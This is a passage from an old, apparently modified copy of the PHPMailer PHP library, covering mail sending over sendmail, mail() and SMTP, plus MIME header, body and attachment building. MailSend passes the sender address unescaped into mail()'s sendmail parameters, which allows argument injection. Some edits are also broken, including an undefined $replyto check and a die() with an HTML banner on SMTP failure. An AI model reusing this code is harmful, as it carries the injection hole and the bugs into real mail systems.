  1812. $this->SetError($this->Lang('provide_address'));
  1813. return false;
  1814. }
  1815.  
  1816. /* Set whether the message is multipart/alternative */
  1817. if(!empty($this->AltBody)) {
  1818. $this->ContentType = 'multipart/alternative';
  1819. }
  1820.  
  1821. $this->error_count = 0; // reset errors
  1822. $this->SetMessageType();
  1823. $header .= $this->CreateHeader();
  1824. $body = $this->CreateBody();
  1825.  
  1826. if($body == '') {
  1827. return false;
  1828. }
  1829.  
  1830. /* Choose the mailer */
  1831. switch($this->Mailer) {
  1832. case 'sendmail':
  1833. $result = $this->SendmailSend($header, $body);
  1834. break;
  1835. case 'smtp':
  1836. $result = $this->SmtpSend($header, $body);
  1837. break;
  1838. case 'mail':
  1839. $result = $this->MailSend($header, $body);
  1840. break;
  1841. default:
  1842. $result = $this->MailSend($header, $body);
  1843. break;
  1844. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1845. //$result = false;
  1846. //break;
  1847. }
  1848.  
  1849. return $result;
  1850. }
  1851.  
  1852. /**
  1853. * Sends mail using the $Sendmail program.
  1854. * @access private
  1855. * @return bool
  1856. */
  1857. function SendmailSend($header, $body) {
  1858. if ($this->Sender != '') {
  1859. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1860. } else {
  1861. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1862. }
  1863.  
  1864. if(!@$mail = popen($sendmail, 'w')) {
  1865. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1866. return false;
  1867. }
  1868.  
  1869. fputs($mail, $header);
  1870. fputs($mail, $body);
  1871.  
  1872. $result = pclose($mail);
  1873. if (version_compare(phpversion(), '4.2.3') == -1) {
  1874. $result = $result >> 8 & 0xFF;
  1875. }
  1876. if($result != 0) {
  1877. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1878. return false;
  1879. }
  1880. return true;
  1881. }
  1882.  
  1883. /**
  1884. * Sends mail using the PHP mail() function.
  1885. * @access private
  1886. * @return bool
  1887. */
  1888. function MailSend($header, $body) {
  1889.  
  1890. $to = '';
  1891. for($i = 0; $i < count($this->to); $i++) {
  1892. if($i != 0) { $to .= ', '; }
  1893. $to .= $this->AddrFormat($this->to[$i]);
  1894. }
  1895.  
  1896. $toArr = split(',', $to);
  1897.  
  1898. $params = sprintf("-oi -f %s", $this->Sender);
  1899. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1900. $old_from = ini_get('sendmail_from');
  1901. ini_set('sendmail_from', $this->Sender);
  1902. if ($this->SingleTo === true && count($toArr) > 1) {
  1903. foreach ($toArr as $key => $val) {
  1904. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1905. }
  1906. } else {
  1907. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1908. }
  1909. } else {
  1910. if ($this->SingleTo === true && count($toArr) > 1) {
  1911. foreach ($toArr as $key => $val) {
  1912. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1913. }
  1914. } else {
  1915. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1916. }
  1917. }
  1918.  
  1919. if (isset($old_from)) {
  1920. ini_set('sendmail_from', $old_from);
  1921. }
  1922.  
  1923. if(!$rt) {
  1924. $this->SetError($this->Lang('instantiate'));
  1925. return false;
  1926. }
  1927.  
  1928. return true;
  1929. }
  1930.  
  1931. /**
  1932. * Sends mail via SMTP using PhpSMTP (Author:
  1933. * Chris Ryan). Returns bool. Returns false if there is a
  1934. * bad MAIL FROM, RCPT, or DATA input.
  1935. * @access private
  1936. * @return bool
  1937. */
  1938. function SmtpSend($header, $body) {
  1939. $error = '';
  1940. $bad_rcpt = array();
  1941.  
  1942. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1943. return false;
  1944. }
  1945.  
  1946. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1947. if(!$this->smtp->Mail($smtp_from)) {
  1948. $error = $this->Lang('from_failed') . $smtp_from;
  1949. $this->SetError($error);
  1950. $this->smtp->Reset();
  1951. return false;
  1952. }
  1953.  
  1954. /* Attempt to send attach all recipients */
  1955. for($i = 0; $i < count($this->to); $i++) {
  1956. if(!$this->smtp->Recipient($this->to[$i][0])) {
  1957. $bad_rcpt[] = $this->to[$i][0];
  1958. }
  1959. }
  1960. for($i = 0; $i < count($this->cc); $i++) {
  1961. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1962. $bad_rcpt[] = $this->cc[$i][0];
  1963. }
  1964. }
  1965. for($i = 0; $i < count($this->bcc); $i++) {
  1966. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1967. $bad_rcpt[] = $this->bcc[$i][0];
  1968. }
  1969. }
  1970.  
  1971. if(count($bad_rcpt) > 0) { // Create error message
  1972. for($i = 0; $i < count($bad_rcpt); $i++) {
  1973. if($i != 0) {
  1974. $error .= ', ';
  1975. }
  1976. $error .= $bad_rcpt[$i];
  1977.  
  1978. }
  1979. $error = $this->Lang('recipients_failed') . $error;
  1980. $this->SetError($error);
  1981. $this->smtp->Reset();
  1982. return false;
  1983. }
  1984.  
  1985. if(!$this->smtp->Data($header . $body)) {
  1986. $this->SetError($this->Lang('data_not_accepted'));
  1987. $this->smtp->Reset();
  1988. return false;
  1989. }
  1990. if($this->SMTPKeepAlive == true) {
  1991. $this->smtp->Reset();
  1992. } else {
  1993. $this->SmtpClose();
  1994. }
  1995.  
  1996. return true;
  1997. }
  1998.  
  1999. /**
  2000. * Initiates a connection to an SMTP server. Returns false if the
  2001. * operation failed.
  2002. * @access private
  2003. * @return bool
  2004. */
  2005. function SmtpConnect() {
  2006. if($this->smtp == NULL) {
  2007. $this->smtp = new SMTP();
  2008. }
  2009.  
  2010. $this->smtp->do_debug = $this->SMTPDebug;
  2011. $hosts = explode(';', $this->Host);
  2012. $index = 0;
  2013. $connection = ($this->smtp->Connected());
  2014.  
  2015. /* Retry while there is no connection */
  2016. while($index < count($hosts) && $connection == false) {
  2017. $hostinfo = array();
  2018. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  2019. $host = $hostinfo[1];
  2020. $port = $hostinfo[2];
  2021. } else {
  2022. $host = $hosts[$index];
  2023. $port = $this->Port;
  2024. }
  2025.  
  2026. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  2027. if ($this->Helo != '') {
  2028. $this->smtp->Hello($this->Helo);
  2029. } else {
  2030. $this->smtp->Hello($this->ServerHostname());
  2031. }
  2032.  
  2033. $connection = true;
  2034. if($this->SMTPAuth) {
  2035. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  2036. $this->SetError($this->Lang('authenticate'));
  2037. $this->smtp->Reset();
  2038. $connection = false;
  2039. }
  2040. }
  2041. }
  2042. $index++;
  2043. }
  2044. if(!$connection) {
  2045. $this->SetError($this->Lang('connect_host'));
  2046. }
  2047.  
  2048. return $connection;
  2049. }
  2050.  
  2051. /**
  2052. * Closes the active SMTP session if one exists.
  2053. * @return void
  2054. */
  2055. function SmtpClose() {
  2056. if($this->smtp != NULL) {
  2057. if($this->smtp->Connected()) {
  2058. $this->smtp->Quit();
  2059. $this->smtp->Close();
  2060. }
  2061. }
  2062. }
  2063.  
  2064. /**
  2065. * Sets the language for all class error messages. Returns false
  2066. * if it cannot load the language file. The default language type
  2067. * is English.
  2068. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2069. * @param string $lang_path Path to the language file directory
  2070. * @access public
  2071. * @return bool
  2072. */
  2073. function SetLanguage($lang_type, $lang_path = 'language/') {
  2074. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2075. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2076. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2077. include($lang_path.'phpmailer.lang-en.php');
  2078. } else {
  2079. $this->SetError('Could not load language file');
  2080. return false;
  2081. }
  2082. $this->language = $PHPMAILER_LANG;
  2083.  
  2084. return true;
  2085. }
  2086.  
  2087. /////////////////////////////////////////////////
  2088. // METHODS, MESSAGE CREATION
  2089. /////////////////////////////////////////////////
  2090.  
  2091. /**
  2092. * Creates recipient headers.
  2093. * @access private
  2094. * @return string
  2095. */
  2096. function AddrAppend($type, $addr) {
  2097. $addr_str = $type . ': ';
  2098. $addr_str .= $this->AddrFormat($addr[0]);
  2099. if(count($addr) > 1) {
  2100. for($i = 1; $i < count($addr); $i++) {
  2101. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2102. }
  2103. }
  2104. $addr_str .= $this->LE;
  2105.  
  2106. return $addr_str;
  2107. }
  2108.  
  2109. /**
  2110. * Formats an address correctly.
  2111. * @access private
  2112. * @return string
  2113. */
  2114. function AddrFormat($addr) {
  2115. if(empty($addr[1])) {
  2116. $formatted = $this->SecureHeader($addr[0]);
  2117. } else {
  2118. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2119. }
  2120.  
  2121. return $formatted;
  2122. }
  2123.  
  2124. /**
  2125. * Wraps message for use with mailers that do not
  2126. * automatically perform wrapping and for quoted-printable.
  2127. * Original written by philippe.
  2128. * @access private
  2129. * @return string
  2130. */
  2131. function WrapText($message, $length, $qp_mode = false) {
  2132. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2133. // If utf-8 encoding is used, we will need to make sure we don't
  2134. // split multibyte characters when we wrap
  2135. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2136.  
  2137. $message = $this->FixEOL($message);
  2138. if (substr($message, -1) == $this->LE) {
  2139. $message = substr($message, 0, -1);
  2140. }
  2141.  
  2142. $line = explode($this->LE, $message);
  2143. $message = '';
  2144. for ($i=0 ;$i < count($line); $i++) {
  2145. $line_part = explode(' ', $line[$i]);
  2146. $buf = '';
  2147. for ($e = 0; $e<count($line_part); $e++) {
  2148. $word = $line_part[$e];
  2149. if ($qp_mode and (strlen($word) > $length)) {
  2150. $space_left = $length - strlen($buf) - 1;
  2151. if ($e != 0) {
  2152. if ($space_left > 20) {
  2153. $len = $space_left;
  2154. if ($is_utf8) {
  2155. $len = $this->UTF8CharBoundary($word, $len);
  2156. } elseif (substr($word, $len - 1, 1) == "=") {
  2157. $len--;
  2158. } elseif (substr($word, $len - 2, 1) == "=") {
  2159. $len -= 2;
  2160. }
  2161. $part = substr($word, 0, $len);
  2162. $word = substr($word, $len);
  2163. $buf .= ' ' . $part;
  2164. $message .= $buf . sprintf("=%s", $this->LE);
  2165. } else {
  2166. $message .= $buf . $soft_break;
  2167. }
  2168. $buf = '';
  2169. }
  2170. while (strlen($word) > 0) {
  2171. $len = $length;
  2172. if ($is_utf8) {
  2173. $len = $this->UTF8CharBoundary($word, $len);
  2174. } elseif (substr($word, $len - 1, 1) == "=") {
  2175. $len--;
  2176. } elseif (substr($word, $len - 2, 1) == "=") {
  2177. $len -= 2;
  2178. }
  2179. $part = substr($word, 0, $len);
  2180. $word = substr($word, $len);
  2181.  
  2182. if (strlen($word) > 0) {
  2183. $message .= $part . sprintf("=%s", $this->LE);
  2184. } else {
  2185. $buf = $part;
  2186. }
  2187. }
  2188. } else {
  2189. $buf_o = $buf;
  2190. $buf .= ($e == 0) ? $word : (' ' . $word);
  2191.  
  2192. if (strlen($buf) > $length and $buf_o != '') {
  2193. $message .= $buf_o . $soft_break;
  2194. $buf = $word;
  2195. }
  2196. }
  2197. }
  2198. $message .= $buf . $this->LE;
  2199. }
  2200.  
  2201. return $message;
  2202. }
  2203.  
  2204. /**
  2205. * Finds last character boundary prior to maxLength in a utf-8
  2206. * quoted (printable) encoded string.
  2207. * Original written by Colin Brown.
  2208. * @access private
  2209. * @param string $encodedText utf-8 QP text
  2210. * @param int $maxLength find last character boundary prior to this length
  2211. * @return int
  2212. */
  2213. function UTF8CharBoundary($encodedText, $maxLength) {
  2214. $foundSplitPos = false;
  2215. $lookBack = 3;
  2216. while (!$foundSplitPos) {
  2217. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2218. $encodedCharPos = strpos($lastChunk, "=");
  2219. if ($encodedCharPos !== false) {
  2220. // Found start of encoded character byte within $lookBack block.
  2221. // Check the encoded byte value (the 2 chars after the '=')
  2222. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2223. $dec = hexdec($hex);
  2224. if ($dec < 128) { // Single byte character.
  2225. // If the encoded char was found at pos 0, it will fit
  2226. // otherwise reduce maxLength to start of the encoded char
  2227. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2228. $maxLength - ($lookBack - $encodedCharPos);
  2229. $foundSplitPos = true;
  2230. } elseif ($dec >= 192) { // First byte of a multi byte character
  2231. // Reduce maxLength to split at start of character
  2232. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2233. $foundSplitPos = true;
  2234. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2235. $lookBack += 3;
  2236. }
  2237. } else {
  2238. // No encoded character found
  2239. $foundSplitPos = true;
  2240. }
  2241. }
  2242. return $maxLength;
  2243. }
  2244.  
  2245. /**
  2246. * Set the body wrapping.
  2247. * @access private
  2248. * @return void
  2249. */
  2250. function SetWordWrap() {
  2251. if($this->WordWrap < 1) {
  2252. return;
  2253. }
  2254.  
  2255. switch($this->message_type) {
  2256. case 'alt':
  2257. /* fall through */
  2258. case 'alt_attachments':
  2259. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2260. break;
  2261. default:
  2262. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2263. break;
  2264. }
  2265. }
  2266.  
  2267. /**
  2268. * Assembles message header.
  2269. * @access private
  2270. * @return string
  2271. */
  2272. function CreateHeader() {
  2273. $result = '';
  2274.  
  2275. /* Set the boundaries */
  2276. $uniq_id = md5(uniqid(time()));
  2277. $this->boundary[1] = 'b1_' . $uniq_id;
  2278. $this->boundary[2] = 'b2_' . $uniq_id;
  2279.  
  2280. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2281. if($this->Sender == '') {
  2282. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2283. } else {
  2284. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2285. }
  2286.  
  2287. /* To be created automatically by mail() */
  2288. if($this->Mailer != 'mail') {
  2289. if(count($this->to) > 0) {
  2290. $result .= $this->AddrAppend('To', $this->to);
  2291. } elseif (count($this->cc) == 0) {
  2292. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2293. }
  2294. if(count($this->cc) > 0) {
  2295. $result .= $this->AddrAppend('Cc', $this->cc);
  2296. }
  2297. }
  2298.  
  2299. $from = array();
  2300. $from[0][0] = trim($this->From);
  2301. $from[0][1] = $this->FromName;
  2302. $result .= $this->AddrAppend('From', $from);
  2303.  
  2304. /* sendmail and mail() extract Cc from the header before sending */
  2305. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2306. $result .= $this->AddrAppend('Cc', $this->cc);
  2307. }
  2308.  
  2309. /* sendmail and mail() extract Bcc from the header before sending */
  2310. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2311. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2312. }
  2313. if($replyto != "")
  2314. {
  2315. if(count($this->ReplyTo) > 0) {
  2316. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2317. }
  2318. }
  2319. /* mail() sets the subject itself */
  2320. if($this->Mailer != 'mail') {
  2321. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2322. }
  2323.  
  2324. if($this->MessageID != '') {
  2325. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2326. } else {
  2327. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2328. }
  2329. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2330. if($this->ConfirmReadingTo != '') {
  2331. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2332. }
  2333.  
  2334. // Add custom headers
  2335. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2336. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2337. }
  2338. if (!$this->sign_key_file) {
  2339. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2340. $result .= $this->GetMailMIME();
  2341. }
  2342.  
  2343. return $result;
  2344. }
  2345.  
  2346. /**
  2347. * Returns the message MIME.
  2348. * @access private
  2349. * @return string
  2350. */
  2351. function GetMailMIME() {
  2352. $result = '';
  2353. switch($this->message_type) {
  2354. case 'plain':
  2355. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2356. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2357. break;
  2358. case 'attachments':
  2359. /* fall through */
  2360. case 'alt_attachments':
  2361. if($this->InlineImageExists()){
  2362. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2363. } else {
  2364. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2365. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2366. }
  2367. break;
  2368. case 'alt':
  2369. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2370. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2371. break;
  2372. }
  2373.  
  2374. if($this->Mailer != 'mail') {
  2375. $result .= $this->LE.$this->LE;
  2376. }
  2377.  
  2378. return $result;
  2379. }
  2380.  
  2381. /**
  2382. * Assembles the message body. Returns an empty string on failure.
  2383. * @access private
  2384. * @return string
  2385. */
  2386. function CreateBody() {
  2387. $result = '';
  2388. if ($this->sign_key_file) {
  2389. $result .= $this->GetMailMIME();
  2390. }
  2391.  
  2392. $this->SetWordWrap();
  2393.  
  2394. switch($this->message_type) {
  2395. case 'alt':
  2396. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2397. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2398. $result .= $this->LE.$this->LE;
  2399. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2400. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2401. $result .= $this->LE.$this->LE;
  2402. $result .= $this->EndBoundary($this->boundary[1]);
  2403. break;
  2404. case 'plain':
  2405. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2406. break;
  2407. case 'attachments':
  2408. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2409. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2410. $result .= $this->LE;
  2411. $result .= $this->AttachAll();
  2412. break;
  2413. case 'alt_attachments':
  2414. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2415. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2416. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2417. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2418. $result .= $this->LE.$this->LE;
  2419. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2420. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2421. $result .= $this->LE.$this->LE;
  2422. $result .= $this->EndBoundary($this->boundary[2]);
  2423. $result .= $this->AttachAll();
  2424. break;
  2425. }
  2426.  
  2427. if($this->IsError()) {
  2428. $result = '';
  2429. } else if ($this->sign_key_file) {
  2430. $file = tempnam("", "mail");
  2431. $fp = fopen($file, "w");
  2432. fwrite($fp, $result);
  2433. fclose($fp);
  2434. $signed = tempnam("", "signed");
  2435.  
  2436. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2437. $fp = fopen($signed, "r");
  2438. $result = fread($fp, filesize($this->sign_key_file));
  2439. fclose($fp);
  2440. } else {
  2441. $this->SetError($this->Lang("signing").openssl_error_string());
  2442. $result = '';
  2443. }
  2444.  
  2445. unlink($file);
  2446. unlink($signed);
  2447. }
  2448.  
  2449. return $result;
  2450. }
  2451.  
  2452. /**
  2453. * Returns the start of a message boundary.
  2454. * @access private
  2455. */
  2456. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2457. $result = '';
  2458. if($charSet == '') {
  2459. $charSet = $this->CharSet;
  2460. }
  2461. if($contentType == '') {
  2462. $contentType = $this->ContentType;
  2463. }
  2464. if($encoding == '') {
  2465. $encoding = $this->Encoding;
  2466. }
  2467. $result .= $this->TextLine('--' . $boundary);
  2468. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2469. $result .= $this->LE;
  2470. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2471. $result .= $this->LE;
  2472.  
  2473. return $result;
  2474. }
  2475.  
  2476. /**
  2477. * Returns the end of a message boundary.
  2478. * @access private
  2479. */
  2480. function EndBoundary($boundary) {
  2481. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2482. }
  2483.  
  2484. /**
  2485. * Sets the message type.
  2486. * @access private
  2487. * @return void
  2488. */
  2489. function SetMessageType() {
  2490. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2491. $this->message_type = 'plain';
  2492. } else {
  2493. if(count($this->attachment) > 0) {
  2494. $this->message_type = 'attachments';
  2495. }
  2496. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2497. $this->message_type = 'alt';
  2498. }
  2499. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2500. $this->message_type = 'alt_attachments';
  2501. }
  2502. }
  2503. }
  2504.  
  2505. /* Returns a formatted header line.
  2506. * @access private
  2507. * @return string
  2508. */
  2509. function HeaderLine($name, $value) {
  2510. return $name . ': ' . $value . $this->LE;
  2511. }
  2512.  
  2513. /**
  2514. * Returns a formatted mail line.
  2515. * @access private
  2516. * @return string
  2517. */
  2518. function TextLine($value) {
  2519. return $value . $this->LE;
  2520. }
  2521.  
  2522. /////////////////////////////////////////////////
  2523. // CLASS METHODS, ATTACHMENTS
  2524. /////////////////////////////////////////////////
  2525.  
  2526. /**
  2527. * Adds an attachment from a path on the filesystem.
  2528. * Returns false if the file could not be found
  2529. * or accessed.
  2530. * @param string $path Path to the attachment.
  2531. * @param string $name Overrides the attachment name.
  2532. * @param string $encoding File encoding (see $Encoding).
  2533. * @param string $type File extension (MIME) type.
  2534. * @return bool
  2535. */
  2536. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2537. if(!@is_file($path)) {
  2538. $this->SetError($this->Lang('file_access') . $path);
  2539. return false;
  2540. }
  2541.  
  2542. $filename = basename($path);
  2543. if($name == '') {
  2544. $name = $filename;
  2545. }
  2546.  
  2547. $cur = count($this->attachment);
  2548. $this->attachment[$cur][0] = $path;
  2549. $this->attachment[$cur][1] = $filename;
  2550. $this->attachment[$cur][2] = $name;
  2551. $this->attachment[$cur][3] = $encoding;
  2552. $this->attachment[$cur][4] = $type;
  2553. $this->attachment[$cur][5] = false; // isStringAttachment
  2554. $this->attachment[$cur][6] = 'attachment';
  2555. $this->attachment[$cur][7] = 0;
  2556.  
  2557. return true;
  2558. }
  2559.  
  2560. /**
  2561. * Attaches all fs, string, and binary attachments to the message.
  2562. * Returns an empty string on failure.
  2563. * @access private
  2564. * @return string
  2565. */
  2566. function AttachAll() {
  2567. /* Return text of body */
  2568. $mime = array();
  2569.  
  2570. /* Add all attachments */
  2571. for($i = 0; $i < count($this->attachment); $i++) {
  2572. /* Check for string attachment */
  2573. $bString = $this->attachment[$i][5];
  2574. if ($bString) {
  2575. $string = $this->attachment[$i][0];
  2576. } else {
  2577. $path = $this->attachment[$i][0];
  2578. }
  2579.  
  2580. $filename = $this->attachment[$i][1];
  2581. $name = $this->attachment[$i][2];
  2582. $encoding = $this->attachment[$i][3];
  2583. $type = $this->attachment[$i][4];
  2584. $disposition = $this->attachment[$i][6];
  2585. $cid = $this->attachment[$i][7];
  2586.  
  2587. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2588. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2589. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2590.  
  2591. if($disposition == 'inline') {
  2592. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2593. }
  2594.  
  2595. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2596.  
  2597. /* Encode as string attachment */
  2598. if($bString) {
  2599. $mime[] = $this->EncodeString($string, $encoding);
  2600. if($this->IsError()) {
  2601. return '';
  2602. }
  2603. $mime[] = $this->LE.$this->LE;
  2604. } else {
  2605. $mime[] = $this->EncodeFile($path, $encoding);
  2606. if($this->IsError()) {
  2607. return '';
  2608. }
  2609. $mime[] = $this->LE.$this->LE;
  2610. }
  2611. }
  2612.  
  2613. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2614.  
  2615. return join('', $mime);
  2616. }
  2617.  
  2618. /**
  2619. * Encodes attachment in requested format. Returns an
  2620. * empty string on failure.
  2621. * @access private
  2622. * @return string
  2623. */
  2624. function EncodeFile ($path, $encoding = 'base64') {
  2625. if(!@$fd = fopen($path, 'rb')) {
  2626. $this->SetError($this->Lang('file_open') . $path);
  2627. return '';
  2628. }
  2629. $magic_quotes = get_magic_quotes_runtime();
  2630. set_magic_quotes_runtime(0);
  2631. $file_buffer = fread($fd, filesize($path));
  2632. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2633. fclose($fd);
  2634. set_magic_quotes_runtime($magic_quotes);
  2635.  
  2636. return $file_buffer;
  2637. }
  2638.  
  2639. /**
  2640. * Encodes string to requested format. Returns an
  2641. * empty string on failure.
  2642. * @access private
  2643. * @return string
  2644. */
  2645. function EncodeString ($str, $encoding = 'base64') {
  2646. $encoded = '';
  2647. switch(strtolower($encoding)) {
  2648. case 'base64':
  2649. /* chunk_split is found in PHP >= 3.0.6 */
  2650. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2651. break;
  2652. case '7bit':
  2653. case '8bit':
  2654. $encoded = $this->FixEOL($str);
  2655. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2656. $encoded .= $this->LE;
  2657. break;
  2658. case 'binary':
  2659. $encoded = $str;
  2660. break;
  2661. case 'quoted-printable':
  2662. $encoded = $this->EncodeQP($str);
  2663. break;
  2664. default:
  2665. $this->SetError($this->Lang('encoding') . $encoding);
  2666. break;
  2667. }
  2668. return $encoded;
  2669. }
  2670.  
  2671. /**
  2672. * Encode a header string to best of Q, B, quoted or none.
  2673. * @access private
  2674. * @return string
  2675. */
  2676. function EncodeHeader ($str, $position = 'text') {
  2677. $x = 0;
  2678.  
  2679. switch (strtolower($position)) {
  2680. case 'phrase':
  2681. if (!preg_match('/[\200-\377]/', $str)) {
  2682. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2683. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2684. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2685. return ($encoded);
  2686. } else {
  2687. return ("\"$encoded\"");
  2688. }
  2689. }
  2690. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2691. break;
  2692. case 'comment':
  2693. $x = preg_match_all('/[()"]/', $str, $matches);
  2694. /* Fall-through */
  2695. case 'text':
  2696. default:
  2697. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2698. break;
  2699. }
  2700.  
  2701. if ($x == 0) {
  2702. return ($str);
  2703. }
  2704.  
  2705. $maxlen = 75 - 7 - strlen($this->CharSet);
  2706. /* Try to select the encoding which should produce the shortest output */
  2707. if (strlen($str)/3 < $x) {
  2708. $encoding = 'B';
  2709. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2710. // Use a custom function which correctly encodes and wraps long
  2711. // multibyte strings without breaking lines within a character
  2712. $encoded = $this->Base64EncodeWrapMB($str);
  2713. } else {
  2714. $encoded = base64_encode($str);
  2715. $maxlen -= $maxlen % 4;
  2716. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2717. }
  2718. } else {
  2719. $encoding = 'Q';
  2720. $encoded = $this->EncodeQ($str, $position);
  2721. $encoded = $this->WrapText($encoded, $maxlen, true);
  2722. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2723. }
  2724.  
  2725. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2726. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2727.  
  2728. return $encoded;
  2729. }
  2730.  
  2731. /**
  2732. * Checks if a string contains multibyte characters.
  2733. * @access private
  2734. * @param string $str multi-byte text to wrap encode
  2735. * @return bool
  2736. */
  2737. function HasMultiBytes($str) {
  2738. if (function_exists('mb_strlen')) {
  2739. return (strlen($str) > mb_strlen($str, $this->CharSet));
